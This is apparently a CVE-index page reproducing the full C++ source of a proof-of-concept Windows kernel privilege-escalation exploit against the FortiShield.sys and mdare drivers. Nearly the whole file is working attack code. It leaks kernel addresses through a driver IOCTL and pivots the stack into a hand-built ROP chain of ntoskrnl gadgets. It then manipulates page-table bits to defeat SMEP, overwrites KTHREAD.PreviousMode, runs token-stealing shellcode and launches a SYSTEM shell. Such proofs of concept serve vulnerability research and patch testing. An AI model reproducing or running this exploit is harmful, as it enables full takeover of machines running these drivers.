4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / doublecall.cpp CPP
#include "stdafx.h"
#include <windows.h>
#include "ntos.h"
#include <stdio.h>
#include <stdlib.h>
#include <Psapi.h>
#include <Shlobj.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "ntdll_x64.lib")
#define EPROCESS_ThreadListHead_Offset 0x5e0
#define ETHREAD_ThreadListEntry_Offset 0x4e8
#define ETHREAD_Tcb_Offset             0x000
#define ETHREAD_Cid_Offset             0x478
#define CLIENTID_UniqueThread_Offset   0x8

extern "C" void TokenStealing();

typedef enum _SUPERFETCH_INFORMATION_CLASS
{
	SuperfetchRetrieveTrace = 0x1,
	SuperfetchSystemParameters = 0x2,
	SuperfetchLogEvent = 0x3,
	SuperfetchGenerateTrace = 0x4,
	SuperfetchPrefetch = 0x5,
	SuperfetchPfnQuery = 0x6,
	SuperfetchPfnSetPriority = 0x7,
	SuperfetchPrivSourceQuery = 0x8,
	SuperfetchSequenceNumberQuery = 0x9,
	SuperfetchScenarioPhase = 0xA,
	SuperfetchWorkerPriority = 0xB,
	SuperfetchScenarioQuery = 0xC,
	SuperfetchScenarioPrefetch = 0xD,
	SuperfetchRobustnessControl = 0xE,
	SuperfetchTimeControl = 0xF,
	SuperfetchMemoryListQuery = 0x10,
	SuperfetchMemoryRangesQuery = 0x11,
	SuperfetchTracingControl = 0x12,
	SuperfetchTrimWhileAgingControl = 0x13,
	SuperfetchInformationMax = 0x14,
} SUPERFETCH_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
	_In_ HANDLE ProcessHandle,
	_In_ PVOID BaseAddress,
	_In_ PVOID Buffer,
	_In_ ULONG NumberOfBytesToWrite,
	_Out_opt_ PULONG NumberOfBytesWritten
	);

typedef struct _SUPERFETCH_INFORMATION
{
	ULONG Version;
	ULONG Magic;
	SUPERFETCH_INFORMATION_CLASS InfoClass;
	PVOID Data;
	ULONG Length;
} SUPERFETCH_INFORMATION, * PSUPERFETCH_INFORMATION;

typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE {
	PfsPrivateSourceKernel = 0x0,
	PfsPrivateSourceSession = 0x1,
	PfsPrivateSourceProcess = 0x2,
	PrfsPrivateSourceMax = 0x3,
} PFS_PRIVATE_PAGE_SOURCE_TYPE;

#pragma pack(push)
#pragma pack(4)

typedef struct _PFS_PRIVATE_PAGE_SOURCE
{
	PFS_PRIVATE_PAGE_SOURCE_TYPE Type;
	union {
		DWORD SessionId;
		DWORD ProcessId;
	};
	DWORD SpareDwords[2];
	ULONG ImagePathHash;
	ULONG UniqueProcessHash;
} PFS_PRIVATE_PAGE_SOURCE, * PPFS_PRIVATE_PAGE_SOURCE;

typedef struct _PF_PRIVSOURCE_INFO_V3 {
	PFS_PRIVATE_PAGE_SOURCE DbInfo;
	union {
		ULONG_PTR EProcess;
		ULONG_PTR GlobalVA;
	};
	ULONG WsPrivatePages;
	ULONG TotalPrivatePages;
	ULONG SessionID;
	CHAR ImageName[16];
	BYTE SpareBytes[12];
} PF_PRIVSOURCE_INFO_V3, * PPF_PRIVSOURCE_INFO_V3;

typedef struct _PF_PRIVSOURCE_INFO_V3PLUS {
	BYTE data2[8];
	DWORD ProcessId;
	BYTE data3[16];
	ULONG_PTR EProcess;
	BYTE data[60];
} PF_PRIVSOURCE_INFO_V3PLUS, * PPF_PRIVSOURCE_INFO_V3PLUS;

typedef struct _PF_PRIVSOURCE_QUERY_REQUEST {
	ULONG Version;

	union {
		__declspec(align(4)) struct {
			ULONG InfoCount;
			PF_PRIVSOURCE_INFO_V3 InfoArrayV3[1];
		} __sv3;
		__declspec(align(4)) struct {
			ULONG Type;
			ULONG InfoCount;
			PF_PRIVSOURCE_INFO_V3PLUS InfoArrayV3Plus[1];
		} __sv3plus;
	} __u0;
} PF_PRIVSOURCE_QUERY_REQUEST, * PPF_PRIVSOURCE_QUERY_REQUEST;

#pragma pack(pop)

ULONGLONG GetEprocessAddress(const char* target)
{
	ULONG superfetch_info_size;
	PF_PRIVSOURCE_QUERY_REQUEST* pf_privsource_query_request;
	SUPERFETCH_INFORMATION superfetch_info = { 0 };
	BYTE temp_buffer[0x70];

	ZeroMemory(temp_buffer, sizeof(temp_buffer));

	PPEB peb = (PPEB)NtCurrentTeb()->ProcessEnvironmentBlock;
	DWORD dwBuildNumber = peb->OSBuildNumber;

	*(DWORD*)temp_buffer = 8; // Windows 10

	switch (dwBuildNumber)
	{
	case 7600:
	case 7601:
		*(DWORD*)temp_buffer = 3;
		break;
	case 9200:
		*(DWORD*)temp_buffer = 5;
		break;
	case 9600:
		*(DWORD*)temp_buffer = 6;
		break;
	}
	*(DWORD*)&temp_buffer[4] = 0;

	superfetch_info.InfoClass = SuperfetchPrivSourceQuery;
	superfetch_info.Version = 45;
	superfetch_info.Magic = 'kuhC';
	superfetch_info.Data = temp_buffer;
	superfetch_info.Length = sizeof(temp_buffer);

	NTSTATUS status;
	ULONG pf_privsource_query_request_version = *(DWORD*)temp_buffer;

	status = NtQuerySystemInformation(SystemSuperfetchInformation, &superfetch_info, sizeof(SUPERFETCH_INFORMATION), &superfetch_info_size);

	pf_privsource_query_request = (PF_PRIVSOURCE_QUERY_REQUEST*)LocalAlloc(LPTR, 2 * superfetch_info_size);

	pf_privsource_query_request->__u0.__sv3.InfoCount = 0;
	pf_privsource_query_request->Version = pf_privsource_query_request_version;
	superfetch_info.Data = pf_privsource_query_request;
	superfetch_info.Length = 2 * superfetch_info_size;

	status = NtQuerySystemInformation(SystemSuperfetchInformation, &superfetch_info, sizeof(SUPERFETCH_INFORMATION), &superfetch_info_size);

	auto sv3plus_request = &pf_privsource_query_request->__u0.__sv3plus;
	const char* targetName = target;
	const char* procName;

	for (ULONG i = 0; i < sv3plus_request->InfoCount; ++i)
	{
		procName = (const char*)&sv3plus_request->InfoArrayV3Plus[i].data[0x14];

		if (strcmp(procName, targetName) == 0) {
			//printf("%15s\t%5d\t%p\n", procName, sv3plus_request->InfoArrayV3Plus[i].ProcessId, sv3plus_request->InfoArrayV3Plus[i].EProcess);
			return sv3plus_request->InfoArrayV3Plus[i].EProcess;
		}


	}

	LocalFree(pf_privsource_query_request);
}

PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
	memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
	memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
	leak_buffer[0] = 0x000000001a000008;
	leak_buffer[1] = 0x0000000000000003;
	leak_buffer[4] = 0x000000001a000028;
	leak_buffer[6] = addr - 0x70;

	DWORD IoControlCode = 0x22608C;
	LPVOID InputBuffer = (LPVOID)0x000000001a000000;
	DWORD InputBufferLength = 0x20;
	LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
	DWORD OutputBufferLength = 0x110;
	DWORD lpBytesReturned;

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	if (!triggerIOCTL)
	{
		//printf("[!] Error in the SYSCALL: %d\n", GetLastError());
	}

	ULONGLONG result = leak_buffer[0x202];
	return result;
}

ULONGLONG leakNtBase(HANDLE driver, ULONGLONG kthread)
{

	ULONGLONG ntAddr = leakQWORD(kthread + 0x2a8, driver);
	ULONGLONG baseAddr = ntAddr - 0x396370;
	/*ULONGLONG signature = 0x00905a4d;
	ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;

	while (TRUE)
	{
		ULONGLONG readData = leakQWORD(searchAddr, driver);
		ULONGLONG tmp = readData & 0xFFFFFFFF;

		printf("%llx\n", readData);
		printf("%llx\n", tmp);


		if (tmp == signature)
		{
			baseAddr = searchAddr;
			break;
		}
		searchAddr = searchAddr - 0x1000;
	}*/
	return baseAddr;
}

ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
	ULONGLONG PsLoadModuleListAddr = ntBase + 0xc2a310;
	ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
	ULONGLONG addr = 0;
	while (1)
	{
		ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
		ULONGLONG name = leakQWORD(namePointer, driver);
		if (name == 0x00740072006f0046)
		{
			name = leakQWORD(namePointer + 8, driver);
			if (name == 0x0069006800530069)
			{
				addr = leakQWORD(searchAddr + 0x30, driver);
				break;
			}
		}
		searchAddr = leakQWORD(searchAddr, driver);
	}
	return addr;
}

ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG kThread)
{
	PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000B60E0000, 0x14000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (fake_stack == NULL)
	{
		printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
		return 1;
	}

	/*memset(fake_stack, 0x41, 0x12000);
	PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x1000;
	DWORD index = 0;

	// <NULL Callback>
	ropStack[index] = ntBase + 0x3f01bf; index++;       // pop rax ; pop rcx ; ret
	ropStack[index] = fortishield_callback; index++;    // FortiShield Callback
	ropStack[index] = 0x0000000000000000; index++;      // NULL
	ropStack[index] = ntBase + 0x20d4fa; index++;        // mov qword [rax], rcx ; ret
	// </NULL Callback>

	// <Flip U=S bit>
	ropStack[index] = ntBase + 0x2017f2; index++;        // pop rax ; ret
	ropStack[index] = pte_result; index++;              // PTE VA
	ropStack[index] = ntBase + 0x4b8c62; index++;       // pop rdx ; ret
	ropStack[index] = 0x0000000000000063; index++;      // DIRTY + ACCESSED + R/W + PRESENT
	ropStack[index] = ntBase + 0x392758; index++;        // mov byte [rax], dl ; add eax, 0x01740000 ; ret
	ropStack[index] = ntBase + 0x37df30; index++;       // wbinvd  ; ret
	// </Flip U=S bit>

	// <Restore variables & shellcode>
	ropStack[index] = 0x00000000B60F0100; index++;      // Shellcode address
	ropStack[index] = fortishield_restore; index++;     // FortiShield return location
	// </Restore variables & shellcode>



	memcpy((fake_stack + 0x1100), &TokenStealing, 0xc0);
	((PDWORD64)((DWORD64)fake_stack + 0x10a0))[0] = fortishield_callback;
	((PDWORD64)((DWORD64)fake_stack + 0x10a8))[0] = fortishield_restore;
	*/
	memset(fake_stack, 0x90, 0x14000);

	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x00))[0] = (ULONGLONG)ntBase + 0x3f01bf;		// pop rax ; pop rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x08))[0] = (ULONGLONG)fortishield_callback;		// Callback address
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x10))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x18))[0] = (ULONGLONG)ntBase + 0x2dd014;		// mov qword [rax], rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x20))[0] = (ULONGLONG)ntBase + 0x3f01bf;		// pop rax ; pop rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x28))[0] = (ULONGLONG)kThread + 0x232;			// KTHREAD.PreviousMode
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x30))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x38))[0] = (ULONGLONG)ntBase + 0x49584f;		// mov byte [rax], cl ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x40))[0] = (ULONGLONG)ntBase + 0x2017d0;		// pop rbx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x48))[0] = 0x00000000b60f0110;					// Location on fake_stack
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x50))[0] = (ULONGLONG)ntBase + 0x2017f2;		// pop rax ; ret;
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x58))[0] = (ULONGLONG)ntBase + 0x217527;		// mov rax, rcx ; add rsp, 0x28 ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x60))[0] = (ULONGLONG)ntBase + 0x3cd671;		// mov rcx, rsi ; call rax
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x68))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x70))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x78))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x80))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x88))[0] = (ULONGLONG)ntBase + 0x20de71;		// pop rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x90))[0] = 0x0000000000000028;					// Value to subtract to get RSP
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x98))[0] = (ULONGLONG)ntBase + 0x029db2b;		// sub rax, rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xa0))[0] = (ULONGLONG)ntBase + 0x20de71;		// pop rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xa8))[0] = (ULONGLONG)fortishield_restore;		// Restore address
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xb0))[0] = (ULONGLONG)ntBase + 0x2dd014;		// mov qword [rax], rcx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xb8))[0] = (ULONGLONG)ntBase + 0x2b82ce;		// mov qword [rbx], rax ; add rsp, 0x20 ; pop rbx ; ret
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xc0))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xc8))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xd0))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xd8))[0] = 0x0000000000000000;					// NULL
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xe0))[0] = 0x0000000000000000;					// Restore RBX
	((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xe8))[0] = (ULONGLONG)ntBase + 0x201380;		// pop rsp ; ret
	return 0;
}

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
{
	ULONGLONG result = address >> 9;
	result = result | pte_start;
	result = result & (pte_start + 0x0000007ffffffff8);
	return result;
}
ULONGLONG get_pml4_address_64(ULONGLONG pte_start)
{
	ULONGLONG pml4_start = pte_start & 0x0000fff000000000;
	pml4_start = pml4_start | (pml4_start >> 9);
	pml4_start = pml4_start | (pml4_start >> 9);
	pml4_start = pml4_start | (pml4_start >> 9);
	pml4_start = pml4_start | 0xffff000000000000;

	return pml4_start;
}
ULONGLONG walkEprocess(HANDLE driver, ULONGLONG eProcess) {
	DWORD currentTid = GetCurrentThreadId();

	ULONGLONG listHead = eProcess + EPROCESS_ThreadListHead_Offset;
	ULONGLONG flink = leakQWORD(listHead, driver);

	while (flink != listHead) {
		ULONGLONG ethread = flink - ETHREAD_ThreadListEntry_Offset;

		ULONGLONG uniqueTid = leakQWORD(ethread + ETHREAD_Cid_Offset + CLIENTID_UniqueThread_Offset, driver);

		if ((DWORD)uniqueTid == currentTid) {
			ULONGLONG kthread = ethread;  // Tcb is at offset 0x0
			printf("[+] Found current thread:\n");
			printf("[+] ETHREAD: 0x%llx\n", ethread);
			printf("[+] KTHREAD: 0x%llx\n", kthread);
			return kthread;
		}

		flink = leakQWORD(flink, driver);  // Move to next thread
	}

	printf("[-] Current thread not found in EPROCESS thread list.\n");
}

int trigger_callback()
{
	printf("[+] Creating dummy file\n");
	system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
	printf("[+] Creating dummy file 2\n");
	system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test3.txt");
	printf("[+] Calling MoveFileEx()\n");

	BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main()
{
	//LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo

	HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (mdare == INVALID_HANDLE_VALUE)
	{
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE)
	{
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPDWORD hThread_id = 0;
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	ULONGLONG eProcess;
	const char* forti_exploit = "kstack.exe";
	eProcess = GetEprocessAddress(forti_exploit);
	printf("[+] EPROCESS found %p\n", eProcess);
	ULONGLONG kThread = walkEprocess(mdare, eProcess);
	ULONGLONG ntBase = leakNtBase(mdare, kThread);
	printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
	ULONGLONG ntPivot = ntBase + 0x20bbc2; // mov esp, 0xB60F0020 ; ret // mov esp, 0xf6000000; retn;
	printf("[+] stack pivot gadget found: 0x%llx\n", ntPivot);
	ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x33273B, mdare);
	printf("[+] ntMiGetPteAddressOffset is: 0x%llx\n", ntMiGetPteAddressOffset);
	ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
	printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
	ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
	ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;

	printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);


	ULONGLONG pte_result = get_pxe_address_64(0xB60f0000, ntMiGetPteAddressOffset);
	printf("[+] PTE virtual address for 0x0B60F0100: %I64x\n", pte_result);
	allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, kThread);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = ntPivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	//DebugBreak();
	getchar();

	BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	getchar();
	//ResumeThread(hThread);
	//WaitForSingleObject(hThread, INFINITE);
	trigger_callback();
	Sleep(2000);
	LPVOID read_qword = malloc(sizeof(ULONGLONG));
	SIZE_T read_bytes;
	memset(read_qword, 0x00, sizeof(ULONGLONG));

	PULONGLONG ppte_base = &ntMiGetPteAddressOffset; // (PULONGLONG)((ULONG_PTR*)leakQWORD(ntBase + 0x33273B, mdare));
	if (ppte_base == 0)
	{
		printf("[!] Error while reading from nt!MiGetPteAddress + 0x13\n");
		exit(1);
	}
	printf("[+] PTE base address: %llx \n", *ppte_base);
	ULONGLONG shellcode = 0x00000002a0000000;
	LPVOID allocation_sc = VirtualAlloc((LPVOID)shellcode, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocation_sc == NULL)
	{
		printf("[!] Error while allocating memory for the input buffer: %d\n", GetLastError());
		exit(1);
	}
	memset(allocation_sc, 0x90, 0x1000);

	memcpy((LPVOID)((ULONGLONG)allocation_sc + 0x08), &TokenStealing, 0xc0);
	((PDWORD64)((DWORD64)allocation_sc + 0x80))[0] = fortishield_callback;
	((PDWORD64)((DWORD64)allocation_sc + 0x88))[0] = fortishield_restore;

	ULONGLONG pte_base = (ULONGLONG)*ppte_base;
	ULONGLONG pte_va = get_pxe_address_64(0x00000002a0000000, pte_base);
	ULONGLONG pml4_base = get_pml4_address_64(pte_base);
	printf("[+] PML4 base address: %llx \n", pml4_base);

	memset(read_qword, 0x00, sizeof(ULONGLONG));
	if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)pte_va, read_qword, sizeof(ULONGLONG), &read_bytes))
	{
		printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
	}
	PULONGLONG ppte_entry = (PULONGLONG)((ULONG_PTR*)read_qword);
	printf("[+] PTE flags: %llx \n", *ppte_entry);

	ULONGLONG write_what = (ULONGLONG)*ppte_entry ^ 1 << 2;
	_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
	if (!pNtWriteVirtualMemory)
	{
		printf("[!] Error while resolving NtWriteVirtualMemory: %d\n", GetLastError());
		exit(1);
	}
	pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)pte_va, &write_what, sizeof(ULONGLONG), NULL);

	memset(read_qword, 0x00, sizeof(ULONGLONG));
	if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)pml4_base, read_qword, sizeof(ULONGLONG), &read_bytes))
	{
		printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
	}
	PULONGLONG pml4_entry = (PULONGLONG)((ULONG_PTR*)read_qword);
	printf("[+] PML4 flags: %llx \n", *pml4_entry);

	write_what = (ULONGLONG)*pml4_entry & 0x0fffffffffffffff;
	pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)pml4_base, &write_what, sizeof(ULONGLONG), NULL);

	InputBuffer = 0x00000002a0000000;

	//DebugBreak();
	getchar();
	Sleep(2000);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	//trigger_callback();

	printf("[+] Calling MoveFileEx()\n");

	BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test3.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test4.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
	}
	memset(read_qword, 0x00, sizeof(ULONGLONG));
	if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)kThread + 0x232), read_qword, sizeof(ULONGLONG), &read_bytes))
	{
		printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
	}
	PULONGLONG kThreadPM = (PULONGLONG)((ULONG_PTR*)read_qword);
	write_what = (ULONGLONG)*kThreadPM ^ 1 << 0;
	pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)kThread + 0x232), &write_what, sizeof(ULONGLONG), NULL);
	system("start cmd.exe");

	return 0;
}